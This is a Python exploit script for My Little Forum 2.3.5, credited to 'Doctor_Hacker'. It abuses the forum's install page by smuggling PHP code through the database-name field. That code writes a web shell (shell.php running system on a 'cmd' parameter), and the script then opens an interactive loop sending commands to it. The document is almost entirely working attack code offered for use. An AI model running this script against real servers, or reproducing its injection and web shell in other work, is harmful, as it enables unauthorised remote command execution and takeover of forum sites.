mlf.py

# Exploit Title   : MY LITTLE FORUM 2.3.5
# Date            : 26 June 2019
# Exploit Author  : Doctor_Hacker
# Version         : 2.3.5
# Tested on       : Windows

import requests

#Define IP and port.
IP='127.0.0.1'
port=80

#Build URL String
url='http://'+IP+':'+str(port)+'/install/index.php'

#Get session headers
my_session = requests.Session() 
r = my_session.get(url)

#1st Post
payload = {'language_file' : 'english.lang'}
x = my_session.post(url, data=payload)

#r the POST
#	Set all POST variables.
payload = {'forum_name':  'test', 'forum_address':  'http://9.9.9.9/', 'forum_email':  'test@test.com', 'admin_name':  'admin', 'admin_email':  'admin@hacklab.com', 'admin_pw':  'hacklab', 'admin_pw_conf':  'hacklab', 'host':  'localhost', 'database':  "';echo file_put_contents('shell.php',chr(60).'?PHP system($_GET['.chr(34).'cmd'.chr(34).']); ?>'); ';", 'user':  'root', 'password':  'hacklab2019', 'table_prefix':  'mlf2_', 'create_database':  'true', 'install_submit':  'OK+-+Install+forum', 'language_file':  'english.lang'}

#Now do the POST.
x = my_session.post(url, data=payload)
#print (x.text)

#Refresh the page.
url2='http://'+IP+':'+str(port)+'/index.php'
r = my_session.get(url2)

while True:
	#Get the command
	print ("Type exit to get out of here.")
	cmd = input('shell@'+IP+':~# ')

	if cmd.strip() == 'exit':
		break

	#Build URL String
	url='http://'+IP+':'+str(port)+'/shell.php?cmd='+cmd

	#Run the SHELL.
	r = my_session.get(url)
	print(r.text)